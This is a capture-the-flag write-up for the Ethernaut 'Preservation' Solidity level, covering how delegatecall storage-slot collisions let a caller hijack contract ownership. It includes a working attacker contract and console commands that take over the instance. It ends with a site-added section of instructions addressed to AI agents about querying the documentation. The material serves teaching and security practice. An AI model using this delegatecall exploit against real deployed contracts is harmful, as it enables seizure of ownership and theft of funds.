# Preservation

## Description

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

&#x20; Things that might help

* Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
* Understanding what it means for `delegatecall` to be context-preserving.
* Understanding how storage variables are stored and accessed.
* Understanding how casting works between different data types.

## Background Knowledge

<https://medium.com/coinmonks/ethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
```

Recall that:

* `Delegate` call is a special, low level function call intended to invoke functions from another, often library, contract.
* If Contract A makes a `delegatecall` to Contract B, it allows Contract B to freely mutate its storage A, given Contract B’s *relative* storage reference pointers.

In this challenge, `LibraryContract::setTime()` modifies the state variable at slot 0. In a delegatecall scenario such as `Preservation::setFirstTime()`, it is going to modify the state variable at slot 0 in contract `Preservation`, that is, `timeZone1Library`.

Now we know that `timeZOne1Library` is controllable, we can deploy a malicious contract that has the same storage layout as `Preservation` and contains a function named `setTime()`. This malicious `setTime()` function should modify the state variable at slot 2. When `Preservation::setFirstTime()` is called again, it is going to change the state variable at slot 2 in contract `Preservation`, that is, `owner`. And we are done.

## Solution

**Step 1:** In Remix, deploy the following malicious contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationHack {

    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1
    address public owner; // slot 2
    uint storedTime; // slot 3

    function setTime(uint256 _time) public {
        owner = msg.sender;
    }
}
```

**Step 2:** Invoke `setFirstTime(<malicious_contract_address>)`:

```javascript
await contract.setFirstTime('<malicious_contract_address>')
```

Now `tiemZone1Library` should be updated to malicious contract's address:

```javascript
await contract.timeZone1Library()
```

**Step 3:** Invoke `setFirstTime()` again with some random `uint256` such as `1337`:

```javascript
await contract.setFirstTime(1337)
```

Now `owner` should be updated to your Metamask wallet's address:

```javascript
await contract.owner()
```

## Summary

As the previous level, `delegate` mentions, the use of `delegatecall` to call libraries can be risky. This is particularly true for contract libraries that have their own state. This example demonstrates why the `library` keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/preservation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
